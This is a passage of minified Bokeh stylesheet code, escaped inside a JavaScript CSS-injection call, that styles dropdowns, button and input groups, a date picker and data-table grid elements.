transparent;border-left:4px solid transparent}.bk-root .bk-bs-dropdown{position:relative}.bk-root .bk-bs-dropdown-toggle:focus{outline:0}.bk-root .bk-bs-dropdown-menu{position:absolute;top:100%;left:0;z-index:1000;display:none;float:left;min-width:160px;padding:5px 0;margin:2px 0 0;list-style:none;font-size:12px;background-color:#fff;border:1px solid #ccc;border:1px solid rgba(0,0,0,0.15);border-radius:4px;-webkit-box-shadow:0 6px 12px rgba(0,0,0,0.175);box-shadow:0 6px 12px rgba(0,0,0,0.175);background-clip:padding-box}.bk-root .bk-bs-dropdown-menu.bk-bs-pull-right{right:0;left:auto}.bk-root .bk-bs-dropdown-menu .bk-bs-divider{height:1px;margin:7.5px 0;overflow:hidden;background-color:#e5e5e5}.bk-root .bk-bs-dropdown-menu>li>a{display:block;padding:3px 20px;clear:both;font-weight:normal;line-height:1.42857143;color:#333;white-space:nowrap}.bk-root .bk-bs-dropdown-menu>li>a:hover,.bk-root .bk-bs-dropdown-menu>li>a:focus{text-decoration:none;color:#262626;background-color:#f5f5f5}.bk-root .bk-bs-dropdown-menu>.bk-bs-active>a,.bk-root .bk-bs-dropdown-menu>.bk-bs-active>a:hover,.bk-root .bk-bs-dropdown-menu>.bk-bs-active>a:focus{color:#fff;text-decoration:none;outline:0;background-color:#428bca}.bk-root .bk-bs-dropdown-menu>.bk-bs-disabled>a,.bk-root .bk-bs-dropdown-menu>.bk-bs-disabled>a:hover,.bk-root .bk-bs-dropdown-menu>.bk-bs-disabled>a:focus{color:#999}.bk-root .bk-bs-dropdown-menu>.bk-bs-disabled>a:hover,.bk-root .bk-bs-dropdown-menu>.bk-bs-disabled>a:focus{text-decoration:none;background-color:transparent;background-image:none;filter:progid:DXImageTransform.bk-bs-Microsoft.bk-bs-gradient(enabled = false);cursor:not-allowed}.bk-root .bk-bs-open>.bk-bs-dropdown-menu{display:block}.bk-root .bk-bs-open>a{outline:0}.bk-root .bk-bs-dropdown-menu-right{left:auto;right:0}.bk-root .bk-bs-dropdown-menu-left{left:0;right:auto}.bk-root .bk-bs-dropdown-header{display:block;padding:3px 20px;font-size:11px;line-height:1.42857143;color:#999}.bk-root .bk-bs-dropdown-backdrop{position:fixed;left:0;right:0;bottom:0;top:0;z-index:990}.bk-root .bk-bs-pull-right>.bk-bs-dropdown-menu{right:0;left:auto}.bk-root .bk-bs-dropup .bk-bs-caret,.bk-root .bk-bs-navbar-fixed-bottom .bk-bs-dropdown .bk-bs-caret{border-top:0;border-bottom:4px solid;content:\\\\\\\"\\\\\\\"}.bk-root .bk-bs-dropup .bk-bs-dropdown-menu,.bk-root .bk-bs-navbar-fixed-bottom .bk-bs-dropdown .bk-bs-dropdown-menu{top:auto;bottom:100%;margin-bottom:1px}@media(min-width:768px){.bk-root .bk-bs-navbar-right .bk-bs-dropdown-menu{left:auto;right:0}.bk-root .bk-bs-navbar-right .bk-bs-dropdown-menu-left{left:0;right:auto}}.bk-root .bk-bs-btn-group,.bk-root .bk-bs-btn-group-vertical{position:relative;display:inline-block;vertical-align:middle}.bk-root .bk-bs-btn-group>.bk-bs-btn,.bk-root .bk-bs-btn-group-vertical>.bk-bs-btn{position:relative;float:left}.bk-root .bk-bs-btn-group>.bk-bs-btn:hover,.bk-root .bk-bs-btn-group-vertical>.bk-bs-btn:hover,.bk-root .bk-bs-btn-group>.bk-bs-btn:focus,.bk-root .bk-bs-btn-group-vertical>.bk-bs-btn:focus,.bk-root .bk-bs-btn-group>.bk-bs-btn:active,.bk-root .bk-bs-btn-group-vertical>.bk-bs-btn:active,.bk-root .bk-bs-btn-group>.bk-bs-btn.bk-bs-active,.bk-root .bk-bs-btn-group-vertical>.bk-bs-btn.bk-bs-active{z-index:2}.bk-root .bk-bs-btn-group>.bk-bs-btn:focus,.bk-root .bk-bs-btn-group-vertical>.bk-bs-btn:focus{outline:0}.bk-root .bk-bs-btn-group .bk-bs-btn+.bk-bs-btn,.bk-root .bk-bs-btn-group .bk-bs-btn+.bk-bs-btn-group,.bk-root .bk-bs-btn-group .bk-bs-btn-group+.bk-bs-btn,.bk-root .bk-bs-btn-group .bk-bs-btn-group+.bk-bs-btn-group{margin-left:-1px}.bk-root .bk-bs-btn-toolbar{margin-left:-5px}.bk-root .bk-bs-btn-toolbar .bk-bs-btn-group,.bk-root .bk-bs-btn-toolbar .bk-bs-input-group{float:left}.bk-root .bk-bs-btn-toolbar>.bk-bs-btn,.bk-root .bk-bs-btn-toolbar>.bk-bs-btn-group,.bk-root .bk-bs-btn-toolbar>.bk-bs-input-group{margin-left:5px}.bk-root .bk-bs-btn-group>.bk-bs-btn:not(:first-child):not(:last-child):not(.bk-bs-dropdown-toggle){border-radius:0}.bk-root .bk-bs-btn-group>.bk-bs-btn:first-child{margin-left:0}.bk-root .bk-bs-btn-group>.bk-bs-btn:first-child:not(:last-child):not(.bk-bs-dropdown-toggle){border-bottom-right-radius:0;border-top-right-radius:0}.bk-root .bk-bs-btn-group>.bk-bs-btn:last-child:not(:first-child),.bk-root .bk-bs-btn-group>.bk-bs-dropdown-toggle:not(:first-child){border-bottom-left-radius:0;border-top-left-radius:0}.bk-root .bk-bs-btn-group>.bk-bs-btn-group{float:left}.bk-root .bk-bs-btn-group>.bk-bs-btn-group:not(:first-child):not(:last-child)>.bk-bs-btn{border-radius:0}.bk-root .bk-bs-btn-group>.bk-bs-btn-group:first-child>.bk-bs-btn:last-child,.bk-root .bk-bs-btn-group>.bk-bs-btn-group:first-child>.bk-bs-dropdown-toggle{border-bottom-right-radius:0;border-top-right-radius:0}.bk-root .bk-bs-btn-group>.bk-bs-btn-group:last-child>.bk-bs-btn:first-child{border-bottom-left-radius:0;border-top-left-radius:0}.bk-root .bk-bs-btn-group .bk-bs-dropdown-toggle:active,.bk-root .bk-bs-btn-group.bk-bs-open .bk-bs-dropdown-toggle{outline:0}.bk-root .bk-bs-btn-group>.bk-bs-btn+.bk-bs-dropdown-toggle{padding-left:8px;padding-right:8px}.bk-root .bk-bs-btn-group>.bk-bs-btn-lg+.bk-bs-dropdown-toggle{padding-left:12px;padding-right:12px}.bk-root .bk-bs-btn-group.bk-bs-open .bk-bs-dropdown-toggle{-webkit-box-shadow:inset 0 3px 5px rgba(0,0,0,0.125);box-shadow:inset 0 3px 5px rgba(0,0,0,0.125)}.bk-root .bk-bs-btn-group.bk-bs-open .bk-bs-dropdown-toggle.bk-bs-btn-link{-webkit-box-shadow:none;box-shadow:none}.bk-root .bk-bs-btn .bk-bs-caret{margin-left:0}.bk-root .bk-bs-btn-lg .bk-bs-caret{border-width:5px 5px 0;border-bottom-width:0}.bk-root .bk-bs-dropup .bk-bs-btn-lg .bk-bs-caret{border-width:0 5px 5px}.bk-root .bk-bs-btn-group-vertical>.bk-bs-btn,.bk-root .bk-bs-btn-group-vertical>.bk-bs-btn-group,.bk-root .bk-bs-btn-group-vertical>.bk-bs-btn-group>.bk-bs-btn{display:block;float:none;width:100%;max-width:100%}.bk-root .bk-bs-btn-group-vertical>.bk-bs-btn-group>.bk-bs-btn{float:none}.bk-root .bk-bs-btn-group-vertical>.bk-bs-btn+.bk-bs-btn,.bk-root .bk-bs-btn-group-vertical>.bk-bs-btn+.bk-bs-btn-group,.bk-root .bk-bs-btn-group-vertical>.bk-bs-btn-group+.bk-bs-btn,.bk-root .bk-bs-btn-group-vertical>.bk-bs-btn-group+.bk-bs-btn-group{margin-top:-1px;margin-left:0}.bk-root .bk-bs-btn-group-vertical>.bk-bs-btn:not(:first-child):not(:last-child){border-radius:0}.bk-root .bk-bs-btn-group-vertical>.bk-bs-btn:first-child:not(:last-child){border-top-right-radius:4px;border-bottom-right-radius:0;border-bottom-left-radius:0}.bk-root .bk-bs-btn-group-vertical>.bk-bs-btn:last-child:not(:first-child){border-bottom-left-radius:4px;border-top-right-radius:0;border-top-left-radius:0}.bk-root .bk-bs-btn-group-vertical>.bk-bs-btn-group:not(:first-child):not(:last-child)>.bk-bs-btn{border-radius:0}.bk-root .bk-bs-btn-group-vertical>.bk-bs-btn-group:first-child:not(:last-child)>.bk-bs-btn:last-child,.bk-root .bk-bs-btn-group-vertical>.bk-bs-btn-group:first-child:not(:last-child)>.bk-bs-dropdown-toggle{border-bottom-right-radius:0;border-bottom-left-radius:0}.bk-root .bk-bs-btn-group-vertical>.bk-bs-btn-group:last-child:not(:first-child)>.bk-bs-btn:first-child{border-top-right-radius:0;border-top-left-radius:0}.bk-root .bk-bs-btn-group-justified{display:table;width:100%;table-layout:fixed;border-collapse:separate}.bk-root .bk-bs-btn-group-justified>.bk-bs-btn,.bk-root .bk-bs-btn-group-justified>.bk-bs-btn-group{float:none;display:table-cell;width:1%}.bk-root .bk-bs-btn-group-justified>.bk-bs-btn-group .bk-bs-btn{width:100%}.bk-root .bk-bs-btn-group>.bk-bs-btn>input[type=\\\\\\\"radio\\\\\\\"],.bk-root .bk-bs-btn-group>.bk-bs-btn>input[type=\\\\\\\"checkbox\\\\\\\"]{display:none}.bk-root .bk-bs-input-group{position:relative;display:table;border-collapse:separate}.bk-root .bk-bs-input-group[class*=\\\\\\\"col-\\\\\\\"]{float:none;padding-left:0;padding-right:0}.bk-root .bk-bs-input-group .bk-bs-form-control{position:relative;z-index:2;float:left;width:100%;margin-bottom:0}.bk-root .bk-bs-input-group-lg>.bk-bs-form-control,.bk-root .bk-bs-input-group-lg>.bk-bs-input-group-addon,.bk-root .bk-bs-input-group-lg>.bk-bs-input-group-btn>.bk-bs-btn{height:42px;padding:10px 16px;font-size:15px;line-height:1.33;border-radius:6px}select.bk-root .bk-bs-input-group-lg>.bk-bs-form-control,select.bk-root .bk-bs-input-group-lg>.bk-bs-input-group-addon,select.bk-root .bk-bs-input-group-lg>.bk-bs-input-group-btn>.bk-bs-btn{height:42px;line-height:42px}textarea.bk-root .bk-bs-input-group-lg>.bk-bs-form-control,textarea.bk-root .bk-bs-input-group-lg>.bk-bs-input-group-addon,textarea.bk-root .bk-bs-input-group-lg>.bk-bs-input-group-btn>.bk-bs-btn,select[multiple].bk-root .bk-bs-input-group-lg>.bk-bs-form-control,select[multiple].bk-root .bk-bs-input-group-lg>.bk-bs-input-group-addon,select[multiple].bk-root .bk-bs-input-group-lg>.bk-bs-input-group-btn>.bk-bs-btn{height:auto}.bk-root .bk-bs-input-group-sm>.bk-bs-form-control,.bk-root .bk-bs-input-group-sm>.bk-bs-input-group-addon,.bk-root .bk-bs-input-group-sm>.bk-bs-input-group-btn>.bk-bs-btn{height:28px;padding:5px 10px;font-size:11px;line-height:1.5;border-radius:3px}select.bk-root .bk-bs-input-group-sm>.bk-bs-form-control,select.bk-root .bk-bs-input-group-sm>.bk-bs-input-group-addon,select.bk-root .bk-bs-input-group-sm>.bk-bs-input-group-btn>.bk-bs-btn{height:28px;line-height:28px}textarea.bk-root .bk-bs-input-group-sm>.bk-bs-form-control,textarea.bk-root .bk-bs-input-group-sm>.bk-bs-input-group-addon,textarea.bk-root .bk-bs-input-group-sm>.bk-bs-input-group-btn>.bk-bs-btn,select[multiple].bk-root .bk-bs-input-group-sm>.bk-bs-form-control,select[multiple].bk-root .bk-bs-input-group-sm>.bk-bs-input-group-addon,select[multiple].bk-root .bk-bs-input-group-sm>.bk-bs-input-group-btn>.bk-bs-btn{height:auto}.bk-root .bk-bs-input-group-addon,.bk-root .bk-bs-input-group-btn,.bk-root .bk-bs-input-group .bk-bs-form-control{display:table-cell}.bk-root .bk-bs-input-group-addon:not(:first-child):not(:last-child),.bk-root .bk-bs-input-group-btn:not(:first-child):not(:last-child),.bk-root .bk-bs-input-group .bk-bs-form-control:not(:first-child):not(:last-child){border-radius:0}.bk-root .bk-bs-input-group-addon,.bk-root .bk-bs-input-group-btn{width:1%;white-space:nowrap;vertical-align:middle}.bk-root .bk-bs-input-group-addon{padding:6px 12px;font-size:12px;font-weight:normal;line-height:1;color:#555;text-align:center;background-color:#eee;border:1px solid #ccc;border-radius:4px}.bk-root .bk-bs-input-group-addon.bk-bs-input-sm{padding:5px 10px;font-size:11px;border-radius:3px}.bk-root .bk-bs-input-group-addon.bk-bs-input-lg{padding:10px 16px;font-size:15px;border-radius:6px}.bk-root .bk-bs-input-group-addon input[type=\\\\\\\"radio\\\\\\\"],.bk-root .bk-bs-input-group-addon input[type=\\\\\\\"checkbox\\\\\\\"]{margin-top:0}.bk-root .bk-bs-input-group .bk-bs-form-control:first-child,.bk-root .bk-bs-input-group-addon:first-child,.bk-root .bk-bs-input-group-btn:first-child>.bk-bs-btn,.bk-root .bk-bs-input-group-btn:first-child>.bk-bs-btn-group>.bk-bs-btn,.bk-root .bk-bs-input-group-btn:first-child>.bk-bs-dropdown-toggle,.bk-root .bk-bs-input-group-btn:last-child>.bk-bs-btn:not(:last-child):not(.bk-bs-dropdown-toggle),.bk-root .bk-bs-input-group-btn:last-child>.bk-bs-btn-group:not(:last-child)>.bk-bs-btn{border-bottom-right-radius:0;border-top-right-radius:0}.bk-root .bk-bs-input-group-addon:first-child{border-right:0}.bk-root .bk-bs-input-group .bk-bs-form-control:last-child,.bk-root .bk-bs-input-group-addon:last-child,.bk-root .bk-bs-input-group-btn:last-child>.bk-bs-btn,.bk-root .bk-bs-input-group-btn:last-child>.bk-bs-btn-group>.bk-bs-btn,.bk-root .bk-bs-input-group-btn:last-child>.bk-bs-dropdown-toggle,.bk-root .bk-bs-input-group-btn:first-child>.bk-bs-btn:not(:first-child),.bk-root .bk-bs-input-group-btn:first-child>.bk-bs-btn-group:not(:first-child)>.bk-bs-btn{border-bottom-left-radius:0;border-top-left-radius:0}.bk-root .bk-bs-input-group-addon:last-child{border-left:0}.bk-root .bk-bs-input-group-btn{position:relative;font-size:0;white-space:nowrap}.bk-root .bk-bs-input-group-btn>.bk-bs-btn{position:relative}.bk-root .bk-bs-input-group-btn>.bk-bs-btn+.bk-bs-btn{margin-left:-1px}.bk-root .bk-bs-input-group-btn>.bk-bs-btn:hover,.bk-root .bk-bs-input-group-btn>.bk-bs-btn:focus,.bk-root .bk-bs-input-group-btn>.bk-bs-btn:active{z-index:2}.bk-root .bk-bs-input-group-btn:first-child>.bk-bs-btn,.bk-root .bk-bs-input-group-btn:first-child>.bk-bs-btn-group{margin-right:-1px}.bk-root .bk-bs-input-group-btn:last-child>.bk-bs-btn,.bk-root .bk-bs-input-group-btn:last-child>.bk-bs-btn-group{margin-left:-1px}.bk-root .bk-bs-nav{margin-bottom:0;padding-left:0;list-style:none}.bk-root .bk-bs-nav>li{position:relative;display:block}.bk-root .bk-bs-nav>li>span{position:relative;display:block;padding:10px 15px}.bk-root .bk-bs-nav>li>span:hover,.bk-root .bk-bs-nav>li>span:focus{text-decoration:none;background-color:#eee}.bk-root .bk-bs-nav>li.bk-bs-disabled>span{color:#999}.bk-root .bk-bs-nav>li.bk-bs-disabled>span:hover,.bk-root .bk-bs-nav>li.bk-bs-disabled>span:focus{color:#999;text-decoration:none;background-color:transparent;cursor:not-allowed}.bk-root .bk-bs-nav-tabs{border-bottom:1px solid #ddd}.bk-root .bk-bs-nav-tabs>li{float:left;margin-bottom:-1px}.bk-root .bk-bs-nav-tabs>li>span{margin-right:2px;line-height:1.42857143;border:1px solid transparent;border-radius:4px 4px 0 0}.bk-root .bk-bs-nav-tabs>li>span:hover{border-color:#eee #eee #ddd;cursor:pointer}.bk-root .bk-bs-nav-tabs>li.bk-bs-active>span,.bk-root .bk-bs-nav-tabs>li.bk-bs-active>span:hover,.bk-root .bk-bs-nav-tabs>li.bk-bs-active>span:focus{color:#555;background-color:#fff;border:1px solid #ddd;border-bottom-color:transparent;cursor:default}.bk-root .bk-bs-tab-content>.bk-bs-tab-pane{display:none}.bk-root .bk-bs-tab-content>.bk-bs-active{display:block}.bk-root .pika-single{z-index:9999;display:block;position:relative;color:#333;background:#fff;border:1px solid #ccc;border-bottom-color:#bbb;font-family:\\\\\\\"Helvetica Neue\\\\\\\",Helvetica,Arial,sans-serif}.bk-root .pika-single:before,.bk-root .pika-single:after{content:\\\\\\\" \\\\\\\";display:table}.bk-root .pika-single:after{clear:both}.bk-root .pika-single{*zoom:1}.bk-root .pika-single.is-hidden{display:none}.bk-root .pika-single.is-bound{position:absolute;box-shadow:0 5px 15px -5px rgba(0,0,0,0.5)}.bk-root .pika-lendar{float:left;width:240px;margin:8px}.bk-root .pika-title{position:relative;text-align:center}.bk-root .pika-label{display:inline-block;*display:inline;position:relative;z-index:9999;overflow:hidden;margin:0;padding:5px 3px;font-size:14px;line-height:20px;font-weight:bold;background-color:#fff}.bk-root .pika-title select{cursor:pointer;position:absolute;z-index:9998;margin:0;left:0;top:5px;filter:alpha(opacity=0);opacity:0}.bk-root .pika-prev,.bk-root .pika-next{display:block;cursor:pointer;position:relative;outline:0;border:0;padding:0;width:20px;height:30px;text-indent:20px;white-space:nowrap;overflow:hidden;background-color:transparent;background-position:center center;background-repeat:no-repeat;background-size:75% 75%;opacity:.5;*position:absolute;*top:0}.bk-root .pika-prev:hover,.bk-root .pika-next:hover{opacity:1}.bk-root .pika-prev,.bk-root .is-rtl .pika-next{float:left;background-image:url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAeCAYAAAAsEj5rAAAAUklEQVR42u3VMQoAIBADQf8Pgj+OD9hG2CtONJB2ymQkKe0HbwAP0xucDiQWARITIDEBEnMgMQ8S8+AqBIl6kKgHiXqQqAeJepBo/z38J/U0uAHlaBkBl9I4GwAAAABJRU5ErkJggg==');*left:0}.bk-root .pika-next,.bk-root .is-rtl .pika-prev{float:right;background-image:url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAeCAYAAAAsEj5rAAAAU0lEQVR42u3VOwoAMAgE0dwfAnNjU26bYkBCFGwfiL9VVWoO+BJ4Gf3gtsEKKoFBNTCoCAYVwaAiGNQGMUHMkjGbgjk2mIONuXo0nC8XnCf1JXgArVIZAQh5TKYAAAAASUVORK5CYII=');*right:0}.bk-root .pika-prev.is-disabled,.bk-root .pika-next.is-disabled{cursor:default;opacity:.2}.bk-root .pika-select{display:inline-block;*display:inline}.bk-root .pika-table{width:100%;border-collapse:collapse;border-spacing:0;border:0}.bk-root .pika-table th,.bk-root .pika-table td{width:14.285714285714286%;padding:0}.bk-root .pika-table th{color:#999;font-size:12px;line-height:25px;font-weight:bold;text-align:center}.bk-root .pika-button{cursor:pointer;display:block;box-sizing:border-box;-moz-box-sizing:border-box;outline:0;border:0;margin:0;width:100%;padding:5px;color:#666;font-size:12px;line-height:15px;text-align:right;background:#f5f5f5}.bk-root .pika-week{font-size:11px;color:#999}.bk-root .is-today .pika-button{color:#3af;font-weight:bold}.bk-root .is-selected .pika-button,.bk-root .has-event .pika-button{color:#fff;font-weight:bold;background:#3af;box-shadow:inset 0 1px 3px #178fe5;border-radius:3px}.bk-root .has-event .pika-button{background:#005da9;box-shadow:inset 0 1px 3px #0076c9}.bk-root .is-disabled .pika-button,.bk-root .is-inrange .pika-button{background:#d5e9f7}.bk-root .is-startrange .pika-button{color:#fff;background:#6cb31d;box-shadow:none;border-radius:3px}.bk-root .is-endrange .pika-button{color:#fff;background:#3af;box-shadow:none;border-radius:3px}.bk-root .is-disabled .pika-button{pointer-events:none;cursor:default;color:#999;opacity:.3}.bk-root .is-outside-current-month .pika-button{color:#999;opacity:.3}.bk-root .is-selection-disabled{pointer-events:none;cursor:default}.bk-root .pika-button:hover,.bk-root .pika-row.pick-whole-week:hover .pika-button{color:#fff;background:#ff8000;box-shadow:none;border-radius:3px}.bk-root .pika-table abbr{border-bottom:0;cursor:help}.bk-root .bk-widget-box{overflow:visible;padding:5px 10px}.bk-root .bk-widget label{margin-bottom:2px}.bk-root .bk-widget{margin-top:10px}.bk-root .bk-widget h1:first-child,.bk-root .bk-widget h2:first-child,.bk-root .bk-widget h3:first-child,.bk-root .bk-widget h4:first-child,.bk-root .bk-widget h5:first-child,.bk-root .bk-widget h6:first-child,.bk-root .bk-widget p:first-child{margin-top:0}.bk-root .bk-widget-form-input{display:block;height:31px;padding:0 12px;background-color:#fff;background-image:none;border:1px solid #ccc;border-radius:4px}.bk-root .bk-widget-form-input:focus{border-color:#66afe9;outline:0;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,.075),0 0 8px rgba(102,175,233,0.6);box-shadow:inset 0 1px 1px rgba(0,0,0,.075),0 0 8px rgba(102,175,233,0.6)}.bk-root .bk-widget-form-input::-moz-placeholder{color:#999;opacity:1}.bk-root .bk-widget-form-input:-ms-input-placeholder{color:#999}.bk-root .bk-widget-form-input::-webkit-input-placeholder{color:#999}.bk-root .bk-widget-form-input[disabled],.bk-root .bk-widget-form-input[readonly],fieldset[disabled] .bk-root .bk-widget-form-input{cursor:not-allowed;background-color:#eee;opacity:1}textarea.bk-root .bk-widget-form-input{height:auto}.bk-root .bk-widget button{min-width:100%}.bk-root .bk-widget input[type=\\\\\\\"text\\\\\\\"]{min-width:90%}.bk-root .bk-widget select{min-width:97%}.bk-root .bk-bs-dropdown-toggle .bk-bs-caret{margin-left:5px}.bk-root .bk-bs-dropdown-menu{width:100%}.bk-root .bk-bs-nav-tabs{overflow:hidden}.bk-root .bk-slider label{margin-right:5px}.bk-root .bk-slider .bk-slider-value{display:inline-block;font-weight:600}.bk-root .bk-slider input,.bk-root .bk-slider .bk-slider-value{margin-bottom:5px}\\\\n/* END bokeh-widgets.min.css */\\\");\\n      console.log(\\\"Bokeh: injecting raw CSS\\\");\\n      Bokeh.embed.inject_raw_css(\\\"/* BEGIN bokeh-tables.min.css */\\\\n.bk-root .slick-header.ui-state-default,.bk-root .slick-headerrow.ui-state-default,.bk-root .slick-footerrow.ui-state-default{width:100%;overflow:hidden;border-left:0 !important}.bk-root .slick-header-columns,.bk-root .slick-headerrow-columns,.bk-root .slick-footerrow-columns{position:relative;white-space:nowrap;cursor:default;overflow:hidden}.bk-root .slick-header-column.ui-state-default{position:relative;display:inline-block;overflow:hidden;-o-text-overflow:ellipsis;text-overflow:ellipsis;height:16px;line-height:16px;margin:0;padding:4px;border-right:1px solid silver;border-left:0 !important;border-top:0 !important;border-bottom:0 !important;float:left}.bk-root .slick-headerrow-column.ui-state-default,.bk-root .slick-footerrow-column.ui-state-default{padding:4px}.bk-root .slick-header-column-sorted{font-style:italic}.bk-root .slick-sort-indicator{display:inline-block;width:8px;height:5px;margin-left:4px;margin-top:6px;float:left}.bk-root .slick-sort-indicator-numbered{display:inline-block;width:8px;height:5px;margin-left:4px;margin-top:0;padding-left:1px;line-height:20px;float:left;font-family:Arial;font-style:normal;font-weight:bold;color:#6190cd}.bk-root .slick-sort-indicator-desc{background:url(images/sort-desc.gif)}.bk-root .slick-sort-indicator-asc{background:url(images/sort-asc.gif)}.bk-root .slick-resizable-handle{position:absolute;font-size:.1px;display:block;cursor:col-resize;width:4px;right:0;top:0;height:100%}.bk-root .slick-sortable-placeholder{background:silver}.bk-root .grid-canvas{position:relative;outline:0}.bk-root .slick-row.ui-widget-content,.bk-root .slick-row.ui-state-active{position:absolute;border:0;width:100%}.bk-root .slick-cell,.bk-root .slick-headerrow-column,.bk-root .slick-footerrow-column{position:absolute;border:1px solid transparent;border-right:1px dotted silver;border-bottom-color:silver;overflow:hidden;-o-text-overflow:ellipsis;text-overflow:ellipsis;vertical-align:middle;z-index:1;padding:1px 2px 2px 1px;margin:0;white-space:nowrap;cursor:default}.bk-root .slick-cell,.bk-root .slick-headerrow-column{border-bottom-color:silver}.bk-root .slick-footerrow-column{border-top-color:silver}.bk-root .slick-group-toggle{display:inline-block}.bk-root .slick-cell.highlighted{background:lightskyblue;background:rgba(0,0,255,0.2);-webkit-transition:all .5s;-moz-transition:all .5s;-o-transition:all .5s;transition:all .5s}.bk-root .slick-cell.flashing{border:1px solid red !important}.bk-root .slick-cell.editable{z-index:11;overflow:visible;background:white;border-color:black;border-style:solid}.bk-root .slick-cell:focus{outline:0}.bk-root .slick-reorder-proxy{display:inline-block;background:blue;opacity:.15;cursor:move}.bk-root .slick-reorder-guide{display:inline-block;height:2px;background:blue;opacity:.7}.bk-root .slick-selection{z-index:10;position:absolute;border:2px dashed black}.bk-root .slick-header-columns{background:url('images/header-columns-bg.gif') repeat-x center bottom;border-bottom:1px solid silver}.bk-root .slick-header-column{background:url('images/header-columns-bg.gif') repeat-x center bottom;border-right:1px solid silver}.bk-root .slick-header-column:hover,.bk-root .slick-header-column-active{background:white url('images/header-columns-over-bg.gif') repeat-x center bottom}.bk-root .slick-headerrow{background:#fafafa}.bk-root .slick-headerrow-column{background:#fafafa;border-bottom:0;height:100%}.bk-root .slick-row.ui-state-active{background:#f5f7d7}.bk-root .slick-row{position:absolute;background:white;border:0;line-height:20px}.bk-root .slick-row.selected{z-index:10;background:#dfe8f6}.bk-root .slick-cell{padding-left:4px;padding-right:4px}.bk-root .slick-group{border-bottom:2px solid silver}.bk-root .slick-group-toggle{width:9px;height:9px;margin-right:5px}.bk-root .slick-group-toggle.expanded{background:url(images/collapse.gif) no-repeat center center}.bk-root .slick-group-toggle.collapsed{background:url(images/expand.gif) no-repeat center center}.bk-root .slick-group-totals{color:gray;background:white}.bk-root .slick-group-select-checkbox{width:13px;height:13px;margin:3px 10px 0 0;display:inline-block}.bk-root .slick-group-select-checkbox.checked{background:url(images/GrpCheckboxY.png) no-repeat center center}.bk-root .slick-group-select-checkbox.unchecked{background:url(images/GrpCheckboxN.png) no-repeat center center}.bk-root .slick-cell.selected{background-color:beige}.bk-root .slick-cell.active{border-color:gray;border-style:solid}.bk-root .slick-sortable-placeholder{background:silver !important}.bk-root .slick-row.odd{background:#fafafa}.bk-root .slick-row.ui-state-active{background:#f5f7d7}.bk-root .slick-row.loading{opacity:.5}.bk-root .slick-cell.invalid{border-color:red;-moz-animation-duration:.2s;-webkit-animation-duration:.2s;-moz-animation-name:slickgrid-invalid-hilite;-webkit-animation-name:slickgrid-invalid-hilite}@-moz-keyframes slickgrid-invalid-hilite{from{box-shadow:0 0 6px red}to{box-shadow:none}}@-webkit-keyframes slickgrid-invalid-hilite{from{box-shadow:0 0 6px red}to{box-shadow:none}}.bk-root .slick-column-name,.bk-root .slick-sort-indicator{display:inline-block;float:left;margin-bottom:100px}.bk-root .slick-header-button{display:inline-block;float:right;vertical-align:top;margin:1px;margin-bottom:100px;height:15px;width:15px;background-repeat:no-repeat;background-position:center center;cursor:pointer}.bk-root .slick-header-button-hidden{width:0;-webkit-transition:.2s width;-ms-transition:.2s width;transition:.2s width}.bk-root .slick-header-column:hover>.slick-header-button{width:15px}.bk-root .slick-header-menubutton{position:absolute;right:0;top:0;bottom:0;width:14px;background-repeat:no-repeat;background-position:left center;background-image:url(../images/down.gif);cursor:pointer;display:none;border-left:thin ridge silver}.bk-root .slick-header-column:hover>.slick-header-menubutton,.bk-root .slick-header-column-active .slick-header-menubutton{display:inline-block}.bk-root .slick-header-menu{position:absolute;display:inline-block;margin:0;padding:2px;cursor:default}.bk-root .slick-header-menuitem{list-style:none;margin:0;padding:0;cursor:pointer}.bk-root .slick-header-menuicon{display:inline-block;width:16px;height:16px;vertical-align:middle;margin-right:4px;background-repeat:no-repeat;background-position:center center}.bk-root .slick-header-menucontent{display:inline-block;vertical-align:middle}.bk-root .slick-header-menuitem-disabled{color:silver}.bk-root .slick-columnpicker{border:1px solid #718bb7;background:#f0f0f0;padding:6px;-moz-box-shadow:2px 2px 2px silver;-webkit-box-shadow:2px 2px 2px silver;box-shadow:2px 2px 2px silver;min-width:100px;cursor:default}.bk-root .slick-columnpicker li{list-style:none;margin:0;padding:0;background:0}.bk-root .slick-columnpicker input{margin:4px}.bk-root .slick-columnpicker li a{display:block;padding:4px;font-weight:bold}.bk-root .slick-columnpicker li a:hover{background:white}.bk-root .slick-pager{width:100%;height:26px;border:1px solid gray;border-top:0;background:url('../images/header-columns-bg.gif') repeat-x center bottom;vertical-align:middle}.bk-root .slick-pager .slick-pager-status{display:inline-block;padding:6px}.bk-root .slick-pager .ui-icon-container{display:inline-block;margin:2px;border-color:gray}.bk-root .slick-pager .slick-pager-nav{display:inline-block;float:left;padding:2px}.bk-root .slick-pager .slick-pager-settings{display:block;float:right;padding:2px}.bk-root .slick-pager .slick-pager-settings *{vertical-align:middle}.bk-root .slick-pager .slick-pager-settings a{padding:2px;text-decoration:underline;cursor:pointer}.bk-root 